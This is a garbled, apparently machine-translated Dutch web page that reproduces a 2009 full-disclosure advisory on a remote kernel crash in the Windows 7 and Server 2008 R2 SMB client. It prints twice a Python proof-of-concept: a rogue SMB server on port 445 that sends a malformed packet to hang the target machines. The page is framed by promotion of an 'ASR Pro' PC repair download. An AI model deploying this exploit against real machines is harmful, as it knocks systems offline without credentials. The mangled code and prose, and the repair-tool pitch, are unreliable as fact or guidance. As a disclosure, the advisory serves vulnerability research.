Table of Contents
Goedgekeurd
Als Windows five / Server 2008r2 Remote Kernel op uw computer crasht, hopen we allemaal dat u met deze gebruikershandleiding het probleem kunt oplossen. G.Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop: Het dringt een storing binnen om bewerkingen uit te voeren in de Microsoft Windows SMB-client op Windows 7 plus Windows Server 2007 R2. Het faalt meestal in de stille kernel. Het Metasploit Framework bevat dat je eenvoudig een module kunt gebruiken om mijn kwetsbaarheid te misbruiken.
G.
#! / usr versus bin / python# win7-crash.Trigger py:# remote control kernel crash op hostserver Win7 en 2008R2 (oneindige lus)# KeAccumulateTicks () crasht vanwege NT_ASSERT () - DbgRaiseAssertionFailure () veroorzaakt door krachtige# Eindeloze cyclus.# GEEN BSOD, U MOET DE CONNECTOR LOSKOPPELEN.# Om deze tool snel te bellen; in volgorde: this_script_ip_addr BLAH, crash moeiteloos# Auteur: Laurent Gaffi¯ ¿ ½Socketserver importerenPakket = (" x00 x00 x00 x9a" nummerruimte ---> moet 9e zijn, niet langer 9a .." xfe x53 x4d x42 x40 x00 x00 x00 x00 x00 x00 x00 x00 x00 x01 x00"" x01 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"" x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"" x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"" x41 x00 x01 x00 x02 x02 x00 x00 x30 x82 xa4 x11 xe3 x12 x23 x41"" xaa x4b xad x99 xfd x52 x31 x8d x01 x00 x00 x00 x00 x00 x01 x00"" x00 x00 x01 x00 x00 x00 x01 x00 xcf x73 x67 x74 x62 x60 xca x01 "" xcb x51 xe0 x19 x62 x60 xca x01 x80 x00 x1e x00 x20 x4c x4d x20"" x60 x1c x06 x06 x2b x06 x01 x05 x05 x02 xa0 x12 x30 x 10 xa0 x0e"" x30 x0c x06 x0a x2b x06 x01 x04 x01 x82 x37 x02 x02 x0a")SMB2-klasse (SocketServer.BaseRequestHandler): Def-Handle (zelf): print "Wie:", self.client_address Gebruik "DANK SDL" De invoer die betekent dat self.request.recv (1024) zelf.verzoek.verzenden (pakket) zelf.verzoek.sluiten ()launch = SocketServer.TCPServer (('', 445), SMB2) # luister op alle interfaces van de stad 445launch.serv_forever ()
Deze fout is belangrijk bewijs dat SDL FAIL
Het doel van die fout is een oneindige lus met smb1,2, pre-authenticatie, alleen geen inloggegevens verplicht …
Kan worden gelanceerd op lokale leverancier via (IE *)
De fout is ongetwijfeld zo eenvoudig dat hij vaak jaren geleden had moeten worden ontdekt door een specifieke SDL als de SDL al bestond:
netbios_header impliceert struct.pack (“> i”, len (”. meld je aan bij (SMB_packet)) + SMB_packet
(De netbios h2-tags geven de lengte aan waarmee het nieuwe smb1,2-pakket is verbonden.)
Als uw netbios_header-nummer 4 bytes veel minder of meer is dan SMB_packet, wordt de positie gewoon geschonden!
WELK SOORT ?? Houd je me voor de gek, waar zou mijn SDL kunnen zijn?!?
“Het gemakkelijkste besturingssysteem op het licht. е “;
Dat uw juiste firewall vaak is geconfigureerd moet via IE worden verwijderd, zelfs met nbns broadcast-systeem (geen gebruikersinteractie)
================================================
– Releasedatum: 11 november 2009
– Ontdekt door: Laurent Gaffier
– Ernst: keuze / hoge
==============================================
NS. BEVESTIGING VAN HET CONCEPT
————————–
# win7-crash.py:
# De beste echte kernelcrash op afstand uitvoeren onder Win7 en daarom Server 2008R2 (oneindige lus)
# KeAccumulateTicks () crashte omdat je NT_ASSERT () / DbgRaiseAssertionFailure () gevormd door # sterke oneindige lus kunt.
# GEEN BSOD, JE HEBT EEN KURK.
# Om het snel te noemen; while order: this_script_ip_addr BLAH, verlaag het tempo van onmiddellijk
# Geplaatst door Laurent Gaffier
#
Pakket = (getal ” x00 x00 x00 x9a” —> 9e lengte zou eigenlijk over het algemeen 9a moeten zijn ..
” xfe x53 x4d x42 x40 x00 x00 x00 x00 x00 x00 x00 x00 x00 x01 x00″
” x01 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00″
” x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00″
” x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00 x00″
” x41 x00 x01 x00 x02 x02 x00 x00 x30 x82 xa4 x11 xe3 x12 x23 x41″
” xaa x4b xad x99 xfd x52 x31 x8d x01 x00 x00 x00 x00 x00 x01 x00 “
” x00 x00 x01 x00 x00 x00 x01 x00 xcf x73 x67 x74 x62 x60 xca x01″
” xcb x51 xe0 x19 x62 x60 xca x01 x80 x00 x1e x00 x20 x4c x4d x20″
” x60 x1c x06 x06 x2b x06 x01 x05 x05 x02 xa0 x12 x30 x10 xa0 x0e”
” x30 x0c x06 x0a x2b x06 x01 x04 x01 x82 x37 x02 x02 x0a”)
V. COMMERCILE IMPACT
————————–
Een aanvaller kan op afstand alle Windows 2008R2-apparatuur uitschakelen 7 /
op de lokale meet of via IE
Vii. Patchproduct
————————–
is hier op zijn beurt niet voor beschikbaar, uw ISP maakt het niet uit.
Sluit de SMB-functie en poorten totdat er een audit van kracht is.
X. GESCHIEDENIS VAN WIJZIGINGEN
————————–
8 november 2009: MSRC nam contact op met
8 november 2009: MSRC ontdekt kwetsbaarheid
11 nov 2009: MRSC moet me proberen te overtuigen, want high is een IPv6-bug van zoveel leveranciers die niet in beveiligingsbulletins zou moeten verschijnen.
11 november 2009: Deze waardevolle bug is vrijgegeven.
XI. OPMERKINGEN
————————–
De juridische informatie in deze kennisgeving is zo lang als “as is”
zonder verklaringen of garanties, met inbegrip van opportuniteit of anderszins.
Ik begrijp geen schade veroorzaakt door de persoon of
Misbruik van deze informatie.
Datum: gmail woensdag 11 november 2009 05:58:44 , 05:00
________________________________________________GeslachtMijn openbaarmaking van informatie - vertrouw nu correct.Handvest: http://lists.grok.org.uk/full-disclosure-charter.htmlZojuist gepost en gesponsord via het proces van Secunia Http: // secunia-.com/
Op datum Op Draad
- Windows Server 2008R2 Krachtige externe kernelcrash door Laurent Gaffy (11 november)
Goedgekeurd
De ASR Pro-reparatietool is de oplossing voor een Windows-pc die traag werkt, registerproblemen heeft of is geïnfecteerd met malware. Deze krachtige en gebruiksvriendelijke tool kan uw pc snel diagnosticeren en repareren, waardoor de prestaties worden verbeterd, het geheugen wordt geoptimaliseerd en de beveiliging wordt verbeterd. Geen last meer van een trage computer - probeer ASR Pro vandaag nog!
![](/wp-content/download7.png)
De software om uw pc te repareren is slechts een klik verwijderd - download hem nu.
![Jake Steere](https://itnewstoday.net/wp-content/uploads/jakesteere.jpg)